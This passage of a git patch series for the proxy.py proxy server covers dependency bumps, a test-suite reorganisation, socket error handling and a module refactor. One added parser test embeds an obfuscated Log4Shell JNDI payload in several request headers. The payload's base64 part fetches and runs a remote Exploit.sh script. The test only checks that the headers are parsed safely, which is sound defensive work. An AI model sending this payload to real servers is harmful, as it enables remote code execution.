teardown: + # Try route signaled to teardown + # or if it did find a valid route + if teardown or self.route is not None: return teardown # No-route found, try static serving if enabled - teardown = self._try_static_file(path) - if teardown: - return teardown + if self.flags.enable_static_server: + self._try_static_or_404(path) + return True # Catch all unhandled web server requests, return 404 self.client.queue(NOT_FOUND_RESPONSE_PKT) return True @@ -299,13 +300,10 @@ def _try_route(self, path: bytes) -> bool: return True return False - def _try_static_file(self, path: bytes) -> bool: - if self.flags.enable_static_server: - path = text_(path).split('?', 1)[0] - self.client.queue( - self.read_and_build_static_file_response( - self.flags.static_server_dir + path, - ), - ) - return True - return False + def _try_static_or_404(self, path: bytes) -> None: + path = text_(path).split('?', 1)[0] + self.client.queue( + self.read_and_build_static_file_response( + self.flags.static_server_dir + path, + ), + ) From 2d0e59145140e8fb7d972e0f06ae87b007a1688d Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 12 Jan 2022 21:55:12 +0530 Subject: [PATCH 25/38] pip prod(deps): bump furo from 2021.11.23 to 2022.1.2 (#959) Bumps [furo](https://github.com/pradyunsg/furo) from 2021.11.23 to 2022.1.2. - [Release notes](https://github.com/pradyunsg/furo/releases) - [Changelog](https://github.com/pradyunsg/furo/blob/main/docs/changelog.md) - [Commits](https://github.com/pradyunsg/furo/compare/2021.11.23...2022.01.02) --- updated-dependencies: - dependency-name: furo dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> --- docs/requirements.txt | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/requirements.txt b/docs/requirements.txt index 1791fe393d..8eda1b8cf5 100644 --- a/docs/requirements.txt +++ b/docs/requirements.txt @@ -41,9 +41,9 @@ docutils==0.17.1 \ # via # myst-parser # sphinx -furo==2021.11.23 \ - --hash=sha256:54cecac5f3b688b5c7370d72ecdf1cd91a6c53f0f42751f4a719184b562cde70 \ - --hash=sha256:6d396451ad1aadce380c662fca9362cb10f4fd85f296d74fe3ca32006eb641d7 +furo==2022.1.2 \ + --hash=sha256:958016bfe1387c1e8ddf5b9d71696b69c4eaa5cd8afc9492abfb008aba2d300c \ + --hash=sha256:b217f218cbcd423ffbfe69baa79389d4ecebf2d86f0d593c44ef31da7b5aed30 # via -r docs/requirements.in idna==3.3 \ --hash=sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff \ From dea4b586e84ddff1e6c70c7c3a9fa791701f6e99 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 12 Jan 2022 22:30:41 +0530 Subject: [PATCH 26/38] pip prod(deps): bump paramiko from 2.9.1 to 2.9.2 (#970) Bumps [paramiko](https://github.com/paramiko/paramiko) from 2.9.1 to 2.9.2. - [Release notes](https://github.com/paramiko/paramiko/releases) - [Changelog](https://github.com/paramiko/paramiko/blob/main/NEWS) - [Commits](https://github.com/paramiko/paramiko/compare/2.9.1...2.9.2) --- updated-dependencies: - dependency-name: paramiko dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> --- requirements-tunnel.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements-tunnel.txt b/requirements-tunnel.txt index 6f40988f2c..f15eb3464b 100644 --- a/requirements-tunnel.txt +++ b/requirements-tunnel.txt @@ -1,2 +1,2 @@ -paramiko==2.9.1 +paramiko==2.9.2 types-paramiko==2.8.6 From 05a8ff9fe7a5975e6494249c9f8ed935524d3cb4 Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Thu, 13 Jan 2022 00:36:37 +0530 Subject: [PATCH 27/38] Test submodule and refactor (#971) * Refactor tests into submodules * isort tests * Add malicious request headers test * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- setup.cfg | 2 +- tests/http/parser/__init__.py | 10 ++ tests/http/{ => parser}/test_chunk_parser.py | 0 tests/http/{ => parser}/test_http_parser.py | 48 ++++++++ .../http/{ => parser}/test_proxy_protocol.py | 0 tests/http/{ => parser}/test_tls_parser.py | 0 tests/http/{ => parser}/tls_server_hello.data | 0 tests/http/proxy/__init__.py | 10 ++ tests/http/{ => proxy}/test_http2.py | 0 tests/http/{ => proxy}/test_http_proxy.py | 0 .../test_http_proxy_tls_interception.py | 2 +- tests/http/web/__init__.py | 10 ++ tests/http/{ => web}/test_web_server.py | 116 +++++++++--------- tests/http/websocket/__init__.py | 10 ++ .../{ => websocket}/test_websocket_client.py | 0 .../{ => websocket}/test_websocket_frame.py | 0 tests/test_main.py | 6 +- 17 files changed, 151 insertions(+), 63 deletions(-) create mode 100644 tests/http/parser/__init__.py rename tests/http/{ => parser}/test_chunk_parser.py (100%) rename tests/http/{ => parser}/test_http_parser.py (91%) rename tests/http/{ => parser}/test_proxy_protocol.py (100%) rename tests/http/{ => parser}/test_tls_parser.py (100%) rename tests/http/{ => parser}/tls_server_hello.data (100%) create mode 100644 tests/http/proxy/__init__.py rename tests/http/{ => proxy}/test_http2.py (100%) rename tests/http/{ => proxy}/test_http_proxy.py (100%) rename tests/http/{ => proxy}/test_http_proxy_tls_interception.py (99%) create mode 100644 tests/http/web/__init__.py rename tests/http/{ => web}/test_web_server.py (80%) create mode 100644 tests/http/websocket/__init__.py rename tests/http/{ => websocket}/test_websocket_client.py (100%) rename tests/http/{ => websocket}/test_websocket_frame.py (100%) diff --git a/setup.cfg b/setup.cfg index 9b0efefc3d..124681dd94 100644 --- a/setup.cfg +++ b/setup.cfg @@ -121,4 +121,4 @@ exclude = tests.* [codespell] -skip = tests/http/tls_server_hello.data +skip = tests/http/parser/tls_server_hello.data diff --git a/tests/http/parser/__init__.py b/tests/http/parser/__init__.py new file mode 100644 index 0000000000..232621f0b5 --- /dev/null +++ b/tests/http/parser/__init__.py @@ -0,0 +1,10 @@ +# -*- coding: utf-8 -*- +""" + proxy.py + ~~~~~~~~ + ⚡⚡⚡ Fast, Lightweight, Pluggable, TLS interception capable proxy server focused on + Network monitoring, controls & Application development, testing, debugging. + + :copyright: (c) 2013-present by Abhinav Singh and contributors. + :license: BSD, see LICENSE for more details. +""" diff --git a/tests/http/test_chunk_parser.py b/tests/http/parser/test_chunk_parser.py similarity index 100% rename from tests/http/test_chunk_parser.py rename to tests/http/parser/test_chunk_parser.py diff --git a/tests/http/test_http_parser.py b/tests/http/parser/test_http_parser.py similarity index 91% rename from tests/http/test_http_parser.py rename to tests/http/parser/test_http_parser.py index b817847775..69f7e6f9cb 100644 --- a/tests/http/test_http_parser.py +++ b/tests/http/parser/test_http_parser.py @@ -763,3 +763,51 @@ def test_proxy_protocol_not_for_response_parser(self) -> None: httpParserTypes.RESPONSE_PARSER, enable_proxy_protocol=True, ) + + def test_is_safe_against_malicious_requests(self) -> None: + self.parser.parse( + b'GET / HTTP/1.1\r\n' + + b'Host: 34.131.9.210:443\r\n' + + b'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' + + b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' + + b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}\r\n' + + b'Content-Type: application/x-www-form-urlencoded\r\n' + + b'nReferer: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' + + b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' + + b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}\r\n' + + b'X-Api-Version: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}' + + b'://198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' + + b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}\r\n' + + b'Cookie: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' + + b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' + + b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}' + + b'\r\n\r\n', + ) + self.assertEqual( + self.parser.header(b'user-agent'), + b'${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' + + b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' + + b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}', + ) + self.assertEqual( + self.parser.header(b'content-type'), + b'application/x-www-form-urlencoded', + ) + self.assertEqual( + self.parser.header(b'nreferer'), + b'${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' + + b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' + + b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}', + ) + self.assertEqual( + self.parser.header(b'X-Api-Version'), + b'${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}' + + b'://198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' + + b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}', + ) + self.assertEqual( + self.parser.header(b'cookie'), + b'${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' + + b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' + + b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}', + ) diff --git a/tests/http/test_proxy_protocol.py b/tests/http/parser/test_proxy_protocol.py similarity index 100% rename from tests/http/test_proxy_protocol.py rename to tests/http/parser/test_proxy_protocol.py diff --git a/tests/http/test_tls_parser.py b/tests/http/parser/test_tls_parser.py similarity index 100% rename from tests/http/test_tls_parser.py rename to tests/http/parser/test_tls_parser.py diff --git a/tests/http/tls_server_hello.data b/tests/http/parser/tls_server_hello.data similarity index 100% rename from tests/http/tls_server_hello.data rename to tests/http/parser/tls_server_hello.data diff --git a/tests/http/proxy/__init__.py b/tests/http/proxy/__init__.py new file mode 100644 index 0000000000..232621f0b5 --- /dev/null +++ b/tests/http/proxy/__init__.py @@ -0,0 +1,10 @@ +# -*- coding: utf-8 -*- +""" + proxy.py + ~~~~~~~~ + ⚡⚡⚡ Fast, Lightweight, Pluggable, TLS interception capable proxy server focused on + Network monitoring, controls & Application development, testing, debugging. + + :copyright: (c) 2013-present by Abhinav Singh and contributors. + :license: BSD, see LICENSE for more details. +""" diff --git a/tests/http/test_http2.py b/tests/http/proxy/test_http2.py similarity index 100% rename from tests/http/test_http2.py rename to tests/http/proxy/test_http2.py diff --git a/tests/http/test_http_proxy.py b/tests/http/proxy/test_http_proxy.py similarity index 100% rename from tests/http/test_http_proxy.py rename to tests/http/proxy/test_http_proxy.py diff --git a/tests/http/test_http_proxy_tls_interception.py b/tests/http/proxy/test_http_proxy_tls_interception.py similarity index 99% rename from tests/http/test_http_proxy_tls_interception.py rename to tests/http/proxy/test_http_proxy_tls_interception.py index dcc81a6e6c..4acff4d8e7 100644 --- a/tests/http/test_http_proxy_tls_interception.py +++ b/tests/http/proxy/test_http_proxy_tls_interception.py @@ -26,7 +26,7 @@ from proxy.http.responses import PROXY_TUNNEL_ESTABLISHED_RESPONSE_PKT from proxy.core.connection import TcpClientConnection, TcpServerConnection from proxy.common.constants import DEFAULT_CA_FILE -from ..test_assertions import Assertions +from ...test_assertions import Assertions class TestHttpProxyTlsInterception(Assertions): diff --git a/tests/http/web/__init__.py b/tests/http/web/__init__.py new file mode 100644 index 0000000000..232621f0b5 --- /dev/null +++ b/tests/http/web/__init__.py @@ -0,0 +1,10 @@ +# -*- coding: utf-8 -*- +""" + proxy.py + ~~~~~~~~ + ⚡⚡⚡ Fast, Lightweight, Pluggable, TLS interception capable proxy server focused on + Network monitoring, controls & Application development, testing, debugging. + + :copyright: (c) 2013-present by Abhinav Singh and contributors. + :license: BSD, see LICENSE for more details. +""" diff --git a/tests/http/test_web_server.py b/tests/http/web/test_web_server.py similarity index 80% rename from tests/http/test_web_server.py rename to tests/http/web/test_web_server.py index 58fa47b5b5..bae92dd918 100644 --- a/tests/http/test_web_server.py +++ b/tests/http/web/test_web_server.py @@ -28,7 +28,7 @@ from proxy.common.constants import ( CRLF, PROXY_PY_DIR, PLUGIN_PAC_FILE, PLUGIN_HTTP_PROXY, PLUGIN_WEB_SERVER, ) -from ..test_assertions import Assertions +from ...test_assertions import Assertions PAC_FILE_PATH = os.path.join( @@ -72,65 +72,65 @@ def mock_selector_for_client_read(self: Any) -> None: ), ] - # @mock.patch('socket.fromfd') - # def test_on_client_connection_called_on_teardown( - # self, mock_fromfd: mock.Mock, - # ) -> None: - # flags = FlagParser.initialize(threaded=True) - # plugin = mock.MagicMock() - # flags.plugins = {b'HttpProtocolHandlerPlugin': [plugin]} - # self._conn = mock_fromfd.return_value - # self.protocol_handler = HttpProtocolHandler( - # TcpClientConnection(self._conn, self._addr), - # flags=flags, - # ) - # self.protocol_handler.initialize() - # plugin.assert_called() - # with mock.patch.object(self.protocol_handler, '_run_once') as mock_run_once: - # mock_run_once.return_value = True - # self.protocol_handler.run() - # self.assertTrue(self._conn.closed) - # plugin.return_value.on_client_connection_close.assert_called() +# @mock.patch('socket.fromfd') +# def test_on_client_connection_called_on_teardown( +# self, mock_fromfd: mock.Mock, +# ) -> None: +# flags = FlagParser.initialize(threaded=True) +# plugin = mock.MagicMock() +# flags.plugins = {b'HttpProtocolHandlerPlugin': [plugin]} +# self._conn = mock_fromfd.return_value +# self.protocol_handler = HttpProtocolHandler( +# TcpClientConnection(self._conn, self._addr), +# flags=flags, +# ) +# self.protocol_handler.initialize() +# plugin.assert_called() +# with mock.patch.object(self.protocol_handler, '_run_once') as mock_run_once: +# mock_run_once.return_value = True +# self.protocol_handler.run() +# self.assertTrue(self._conn.closed) +# plugin.return_value.on_client_connection_close.assert_called() - # @mock.patch('socket.fromfd') - # def test_on_client_connection_called_on_teardown( - # self, mock_fromfd: mock.Mock, - # ) -> None: - # flags = FlagParser.initialize(threaded=True) - # plugin = mock.MagicMock() - # flags.plugins = {b'HttpProtocolHandlerPlugin': [plugin]} - # self._conn = mock_fromfd.return_value - # self.protocol_handler = HttpProtocolHandler( - # TcpClientConnection(self._conn, self._addr), - # flags=flags, - # ) - # self.protocol_handler.initialize() - # plugin.assert_called() - # with mock.patch.object(self.protocol_handler, '_run_once') as mock_run_once: - # mock_run_once.return_value = True - # self.protocol_handler.run() - # self.assertTrue(self._conn.closed) - # plugin.return_value.on_client_connection_close.assert_called() +# @mock.patch('socket.fromfd') +# def test_on_client_connection_called_on_teardown( +# self, mock_fromfd: mock.Mock, +# ) -> None: +# flags = FlagParser.initialize(threaded=True) +# plugin = mock.MagicMock() +# flags.plugins = {b'HttpProtocolHandlerPlugin': [plugin]} +# self._conn = mock_fromfd.return_value +# self.protocol_handler = HttpProtocolHandler( +# TcpClientConnection(self._conn, self._addr), +# flags=flags, +# ) +# self.protocol_handler.initialize() +# plugin.assert_called() +# with mock.patch.object(self.protocol_handler, '_run_once') as mock_run_once: +# mock_run_once.return_value = True +# self.protocol_handler.run() +# self.assertTrue(self._conn.closed) +# plugin.return_value.on_client_connection_close.assert_called() - # @mock.patch('socket.fromfd') - # def test_on_client_connection_called_on_teardown( - # self, mock_fromfd: mock.Mock, - # ) -> None: - # flags = FlagParser.initialize(threaded=True) - # plugin = mock.MagicMock() - # flags.plugins = {b'HttpProtocolHandlerPlugin': [plugin]} - # self._conn = mock_fromfd.return_value - # self.protocol_handler = HttpProtocolHandler( - # TcpClientConnection(self._conn, self._addr), - # flags=flags, - # ) - # self.protocol_handler.initialize() - # plugin.assert_called() - # with mock.patch.object(self.protocol_handler, '_run_once') as mock_run_once: - # mock_run_once.return_value = True - # self.protocol_handler.run() - # self.assertTrue(self._conn.closed) - # plugin.return_value.on_client_connection_close.assert_called() +# @mock.patch('socket.fromfd') +# def test_on_client_connection_called_on_teardown( +# self, mock_fromfd: mock.Mock, +# ) -> None: +# flags = FlagParser.initialize(threaded=True) +# plugin = mock.MagicMock() +# flags.plugins = {b'HttpProtocolHandlerPlugin': [plugin]} +# self._conn = mock_fromfd.return_value +# self.protocol_handler = HttpProtocolHandler( +# TcpClientConnection(self._conn, self._addr), +# flags=flags, +# ) +# self.protocol_handler.initialize() +# plugin.assert_called() +# with mock.patch.object(self.protocol_handler, '_run_once') as mock_run_once: +# mock_run_once.return_value = True +# self.protocol_handler.run() +# self.assertTrue(self._conn.closed) +# plugin.return_value.on_client_connection_close.assert_called() class TestWebServerPluginWithPacFilePlugin(Assertions): diff --git a/tests/http/websocket/__init__.py b/tests/http/websocket/__init__.py new file mode 100644 index 0000000000..232621f0b5 --- /dev/null +++ b/tests/http/websocket/__init__.py @@ -0,0 +1,10 @@ +# -*- coding: utf-8 -*- +""" + proxy.py + ~~~~~~~~ + ⚡⚡⚡ Fast, Lightweight, Pluggable, TLS interception capable proxy server focused on + Network monitoring, controls & Application development, testing, debugging. + + :copyright: (c) 2013-present by Abhinav Singh and contributors. + :license: BSD, see LICENSE for more details. +""" diff --git a/tests/http/test_websocket_client.py b/tests/http/websocket/test_websocket_client.py similarity index 100% rename from tests/http/test_websocket_client.py rename to tests/http/websocket/test_websocket_client.py diff --git a/tests/http/test_websocket_frame.py b/tests/http/websocket/test_websocket_frame.py similarity index 100% rename from tests/http/test_websocket_frame.py rename to tests/http/websocket/test_websocket_frame.py diff --git a/tests/test_main.py b/tests/test_main.py index bcad1e5bd4..c3d9f18691 100644 --- a/tests/test_main.py +++ b/tests/test_main.py @@ -28,9 +28,9 @@ DEFAULT_OPEN_FILE_LIMIT, DEFAULT_DEVTOOLS_WS_PATH, DEFAULT_ENABLE_DASHBOARD, PLUGIN_DEVTOOLS_PROTOCOL, DEFAULT_ENABLE_WEB_SERVER, DEFAULT_DISABLE_HTTP_PROXY, - DEFAULT_CA_SIGNING_KEY_FILE, DEFAULT_CLIENT_RECVBUF_SIZE, - DEFAULT_SERVER_RECVBUF_SIZE, DEFAULT_ENABLE_STATIC_SERVER, PLUGIN_WEBSOCKET_TRANSPORT, - _env_threadless_compliant, + PLUGIN_WEBSOCKET_TRANSPORT, DEFAULT_CA_SIGNING_KEY_FILE, + DEFAULT_CLIENT_RECVBUF_SIZE, DEFAULT_SERVER_RECVBUF_SIZE, + DEFAULT_ENABLE_STATIC_SERVER, _env_threadless_compliant, ) From afd8c33a85428b2e4bb0a8f68506776d94a58d1a Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Thu, 13 Jan 2022 02:40:55 +0530 Subject: [PATCH 28/38] Handle `OSError` on shutdown & `TimeoutError` on recv (#974) * Expect `TimeoutError` during `recv` * Expect `OSError` during socket shutdown, can happen if other end has already closed the socket --- proxy/core/base/tcp_server.py | 6 +++++- proxy/core/base/tcp_upstream.py | 3 +++ proxy/core/connection/pool.py | 5 ++++- proxy/http/websocket/client.py | 5 ++++- 4 files changed, 16 insertions(+), 3 deletions(-) diff --git a/proxy/core/base/tcp_server.py b/proxy/core/base/tcp_server.py index 38e969940d..e4e6c89d24 100644 --- a/proxy/core/base/tcp_server.py +++ b/proxy/core/base/tcp_server.py @@ -109,7 +109,11 @@ async def handle_writables(self, writables: Writables) -> bool: async def handle_readables(self, readables: Readables) -> bool: teardown = False if self.work.connection.fileno() in readables: - data = self.work.recv(self.flags.client_recvbuf_size) + try: + data = self.work.recv(self.flags.client_recvbuf_size) + except TimeoutError: + logger.info('Client recv timeout error') + return True if data is None: logger.debug( 'Connection closed by client {0}'.format( diff --git a/proxy/core/base/tcp_upstream.py b/proxy/core/base/tcp_upstream.py index 7bf4a01ad5..402a22e426 100644 --- a/proxy/core/base/tcp_upstream.py +++ b/proxy/core/base/tcp_upstream.py @@ -81,6 +81,9 @@ async def read_from_descriptors(self, r: Readables) -> bool: else: # Tear down because upstream proxy closed the connection return True + except TimeoutError: + logger.info('Upstream recv timeout error') + return True except ssl.SSLWantReadError: logger.info('Upstream SSLWantReadError, will retry') return False diff --git a/proxy/core/connection/pool.py b/proxy/core/connection/pool.py index 3fed38d5a7..0c9a108e7e 100644 --- a/proxy/core/connection/pool.py +++ b/proxy/core/connection/pool.py @@ -174,7 +174,10 @@ def _remove(self, fileno: int) -> None: """Remove a connection by descriptor from the internal data structure.""" conn = self.connections[fileno] logger.debug('Removing conn#{0} from pool'.format(id(conn))) - conn.connection.shutdown(socket.SHUT_WR) + try: + conn.connection.shutdown(socket.SHUT_WR) + except OSError: + pass conn.close() self.pools[conn.addr].remove(conn) del self.connections[fileno] diff --git a/proxy/http/websocket/client.py b/proxy/http/websocket/client.py index 018866d2a0..498df469bb 100644 --- a/proxy/http/websocket/client.py +++ b/proxy/http/websocket/client.py @@ -115,5 +115,8 @@ def run(self) -> None: finally: if not self.closed: self.selector.unregister(self.sock) - self.sock.shutdown(socket.SHUT_WR) + try: + self.sock.shutdown(socket.SHUT_WR) + except OSError: + pass self.sock.close() From fcdcf899324bf8e438ae766ee5961bbb0c55b4a0 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 13 Jan 2022 12:55:23 +0530 Subject: [PATCH 29/38] pip prod(deps): bump mypy from 0.920 to 0.931 (#976) Bumps [mypy](https://github.com/python/mypy) from 0.920 to 0.931. - [Release notes](https://github.com/python/mypy/releases) - [Commits](https://github.com/python/mypy/compare/v0.920...v0.931) --- updated-dependencies: - dependency-name: mypy dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- requirements-testing.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements-testing.txt b/requirements-testing.txt index 0130a6c23a..5b34d2b724 100644 --- a/requirements-testing.txt +++ b/requirements-testing.txt @@ -8,7 +8,7 @@ pytest-xdist == 2.5.0 pytest-mock==3.6.1 pytest-asyncio==0.16.0 autopep8==1.6.0 -mypy==0.920 +mypy==0.931 py-spy==0.3.11 codecov==2.1.12 tox==3.24.5 From f0d39eb00de74730c280b54f9cf5104c6b1653ca Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 13 Jan 2022 12:55:47 +0530 Subject: [PATCH 30/38] npm: bump @types/jquery from 3.5.4 to 3.5.13 in /dashboard (#975) Bumps [@types/jquery](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/jquery) from 3.5.4 to 3.5.13. - [Release notes](https://github.com/DefinitelyTyped/DefinitelyTyped/releases) - [Commits](https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/jquery) --- updated-dependencies: - dependency-name: "@types/jquery" dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> --- dashboard/package-lock.json | 14 +++++++------- dashboard/package.json | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/dashboard/package-lock.json b/dashboard/package-lock.json index f6ebf9b290..8ec9edb53a 100644 --- a/dashboard/package-lock.json +++ b/dashboard/package-lock.json @@ -10,7 +10,7 @@ "license": "BSD-3-Clause", "devDependencies": { "@types/jasmine": "^3.10.2", - "@types/jquery": "^3.5.4", + "@types/jquery": "^3.5.13", "@types/js-cookie": "^3.0.1", "@typescript-eslint/eslint-plugin": "^2.34.0", "@typescript-eslint/parser": "^2.34.0", @@ -142,9 +142,9 @@ "dev": true }, "node_modules/@types/jquery": { - "version": "3.5.4", - "resolved": "https://registry.npmjs.org/@types/jquery/-/jquery-3.5.4.tgz", - "integrity": "sha512-//9CHhaUt/rurMJTxGI+I6DmsNHgYU6d8aSLFfO5dB7+10lwLnaWT0z5GY/yY82Q/M+B+0Qh3TixlJ8vmBeqIw==", + "version": "3.5.13", + "resolved": "https://registry.npmjs.org/@types/jquery/-/jquery-3.5.13.tgz", + "integrity": "sha512-ZxJrup8nz/ZxcU0vantG+TPdboMhB24jad2uSap50zE7Q9rUeYlCF25kFMSmHR33qoeOgqcdHEp3roaookC0Sg==", "dev": true, "dependencies": { "@types/sizzle": "*" @@ -5276,9 +5276,9 @@ "dev": true }, "@types/jquery": { - "version": "3.5.4", - "resolved": "https://registry.npmjs.org/@types/jquery/-/jquery-3.5.4.tgz", - "integrity": "sha512-//9CHhaUt/rurMJTxGI+I6DmsNHgYU6d8aSLFfO5dB7+10lwLnaWT0z5GY/yY82Q/M+B+0Qh3TixlJ8vmBeqIw==", + "version": "3.5.13", + "resolved": "https://registry.npmjs.org/@types/jquery/-/jquery-3.5.13.tgz", + "integrity": "sha512-ZxJrup8nz/ZxcU0vantG+TPdboMhB24jad2uSap50zE7Q9rUeYlCF25kFMSmHR33qoeOgqcdHEp3roaookC0Sg==", "dev": true, "requires": { "@types/sizzle": "*" diff --git a/dashboard/package.json b/dashboard/package.json index 119da18ba4..8294116569 100644 --- a/dashboard/package.json +++ b/dashboard/package.json @@ -26,7 +26,7 @@ "homepage": "https://github.com/abhinavsingh/proxy.py#readme", "devDependencies": { "@types/jasmine": "^3.10.2", - "@types/jquery": "^3.5.4", + "@types/jquery": "^3.5.13", "@types/js-cookie": "^3.0.1", "@typescript-eslint/eslint-plugin": "^2.34.0", "@typescript-eslint/parser": "^2.34.0", From dd2476f02a45aa2396daaa348ce54a6284d62537 Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Thu, 13 Jan 2022 16:07:51 +0530 Subject: [PATCH 31/38] Refactor into separate `Work` module (#977) * work module * Fix imports * String based typing for multiprocessing.synchronize * Fix `test_accepts_client_from_server_socket` * Move staticmethod outside of threadless pool class * Fix doc build * Fix test mock * mp grouped together * pylint happy * import only for type checking * doc build * wrong import order --- docs/conf.py | 11 ++-- examples/web_scraper.py | 2 +- proxy/core/acceptor/__init__.py | 14 +--- proxy/core/acceptor/acceptor.py | 11 ++-- proxy/core/acceptor/pool.py | 6 +- proxy/core/base/tcp_server.py | 2 +- proxy/core/connection/pool.py | 2 +- proxy/core/work/__init__.py | 31 +++++++++ proxy/core/work/delegate.py | 40 ++++++++++++ proxy/core/{acceptor => work}/local.py | 0 .../{acceptor/executors.py => work/pool.py} | 64 +------------------ proxy/core/{acceptor => work}/remote.py | 0 proxy/core/work/threaded.py | 49 ++++++++++++++ proxy/core/{acceptor => work}/threadless.py | 2 +- proxy/core/{acceptor => work}/work.py | 0 proxy/proxy.py | 4 +- tests/core/test_acceptor.py | 2 +- 17 files changed, 148 insertions(+), 92 deletions(-) create mode 100644 proxy/core/work/__init__.py create mode 100644 proxy/core/work/delegate.py rename proxy/core/{acceptor => work}/local.py (100%) rename proxy/core/{acceptor/executors.py => work/pool.py} (65%) rename proxy/core/{acceptor => work}/remote.py (100%) create mode 100644 proxy/core/work/threaded.py rename proxy/core/{acceptor => work}/threadless.py (99%) rename proxy/core/{acceptor => work}/work.py (100%) diff --git a/docs/conf.py b/docs/conf.py index e373ece853..2bd5ff7d5e 100644 --- a/docs/conf.py +++ b/docs/conf.py @@ -296,8 +296,9 @@ (_py_class_role, 'proxy.plugin.cache.store.base.CacheStore'), (_py_class_role, 'proxy.core.pool.AcceptorPool'), (_py_class_role, 'proxy.core.executors.ThreadlessPool'), - (_py_class_role, 'proxy.core.acceptor.threadless.T'), - (_py_class_role, 'proxy.core.acceptor.work.T'), + (_py_class_role, 'proxy.core.work.threadless.T'), + (_py_class_role, 'proxy.core.work.work.T'), + (_py_class_role, 'proxy.core.acceptor.threadless.Threadless'), (_py_class_role, 'queue.Queue[Any]'), (_py_class_role, 'SelectableEvents'), (_py_class_role, 'TcpClientConnection'), @@ -309,6 +310,8 @@ (_py_class_role, 'Url'), (_py_class_role, 'WebsocketFrame'), (_py_class_role, 'Work'), - (_py_obj_role, 'proxy.core.acceptor.threadless.T'), - (_py_obj_role, 'proxy.core.acceptor.work.T'), + (_py_class_role, 'proxy.core.acceptor.work.Work'), + (_py_class_role, 'connection.Connection'), + (_py_obj_role, 'proxy.core.work.threadless.T'), + (_py_obj_role, 'proxy.core.work.work.T'), ] diff --git a/examples/web_scraper.py b/examples/web_scraper.py index 8168dca09d..0dce2bd38b 100644 --- a/examples/web_scraper.py +++ b/examples/web_scraper.py @@ -12,7 +12,7 @@ from proxy 